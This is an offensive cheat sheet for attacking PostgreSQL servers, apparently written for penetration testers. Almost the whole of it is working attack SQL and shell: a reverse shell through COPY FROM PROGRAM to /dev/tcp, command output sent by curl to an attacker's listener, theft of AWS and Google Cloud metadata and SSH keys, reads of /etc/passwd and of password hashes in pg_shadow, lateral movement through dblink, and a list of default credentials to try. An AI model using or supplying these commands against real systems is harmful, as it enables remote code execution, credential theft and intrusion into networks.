$ List all tables

Enumerate every schema and table visible to the current role.

SELECT table_schema,table_name
FROM information_schema.tables
ORDER BY table_schema,table_name;

$ LFI example — read local files

If the database user has sufficient rights, files on the database server can be read into a table.

CREATE TABLE myfile (input TEXT);
COPY myfile FROM '/etc/passwd';
SELECT input FROM myfile;

$ Display PostgreSQL users

Password hashes for all roles live in pg_shadow and are readable by superusers only.

SELECT usename, passwd FROM pg_shadow;

$ Show current user

select current_user;

$ Reverse shell via COPY TO PROGRAM

Only superusers (or members of pg_execute_server_program on PostgreSQL 11+) may run arbitrary OS commands with COPY ... FROM PROGRAM. Replace IP with your listener address.

CREATE TABLE weather_json (cities TEXT);
COPY weather_json FROM PROGRAM 'bash -i >& /dev/tcp/IP/4444 0>&1';
SELECT weather_json FROM weather_json;

$ Grab AWS metadata

CREATE TABLE weather_json (cities TEXT);
COPY weather_json FROM PROGRAM 'curl -L http://169.254.169.254/latest/meta-data/';
SELECT weather_json FROM weather_json;

$ Grab Google Cloud metadata

CREATE TABLE weather_json (cities TEXT);
COPY weather_json FROM PROGRAM 'curl -L http://metadata.google.internal/computeMetadata/v/project/attributes/ssh-keys?alt=json -H "Metadata-Flavor: Google"';
SELECT weather_json FROM weather_json;

$ Dump environment variables

CREATE TABLE weather_json (cities TEXT);
COPY weather_json FROM PROGRAM 'printenv';
SELECT weather_json FROM weather_json;

$ Read files with pg_read_file

Superusers and members of pg_read_server_files can read arbitrary server files directly, no staging table required.

SELECT pg_read_file('/etc/passwd');
SELECT pg_read_file('/var/lib/postgresql/data/postgresql.conf');
SELECT pg_ls_dir('/var/lib/postgresql/data');

$ Command execution without COPY

pg_read_file-style built-ins aside, COPY ... TO PROGRAM also executes commands, and output can be written to your listener instead of a table:

COPY (SELECT '') TO PROGRAM 'id | curl -X POST --data-binary @- http://IP:8000';

$ Abuse dblink and extensions

If dblink is installed, you can query other databases and hosts as the current user — useful for lateral movement and pivoting to internal database servers.

CREATE EXTENSION IF NOT EXISTS dblink;
SELECT * FROM dblink('host=10.0.0.5 dbname=postgres user=postgres password=postgres', 'SELECT version()') AS t(version TEXT);

-- loop through all databases on the local instance
SELECT datname FROM pg_database;

$ Search column names across tables

Find where interesting data (passwords, tokens, cards) is stored without dumping every table.

SELECT table_schema, table_name, column_name
FROM information_schema.columns
WHERE column_name ILIKE '%pass%'
   OR column_name ILIKE '%token%'
   OR column_name ILIKE '%secret%'
   OR column_name ILIKE '%key%'
ORDER BY table_schema, table_name;

$ Connecting with psql one-liners

Quick connection strings for follow-up work; the same URL format works for most drivers.

psql -h IP -U postgres -d postgres -W
psql "postgresql://postgres:postgres@IP:5432/postgres"

# run a single query non-interactively
psql "postgresql://postgres:postgres@IP:5432/postgres" -c "SELECT current_user;"

# copy a whole table out as CSV
psql "postgresql://postgres:postgres@IP:5432/dbname" -c "\copy users TO 'users.csv' CSV HEADER"

$ Common default credentials

Try these pairs first against open PostgreSQL services — many installs never change the defaults.

postgres : postgres
postgres : password
postgres : admin
postgres : 123456
root     : postgres
admin    : admin
# no password (trust authentication in pg_hba.conf)
postgres :

$ Check for a superuser and granted roles

Confirm whether the compromised role can reach the COPY ... PROGRAM primitives above.

SELECT rolname, rolsuper, rolcreaterole, rolcreatedb
FROM pg_roles
WHERE rolname = current_user;

SELECT r.rolname AS granted_role
FROM pg_authid a
JOIN pg_auth_members m ON a.oid = m.member
JOIN pg_authid r ON r.oid = m.roleid
WHERE a.rolname = current_user;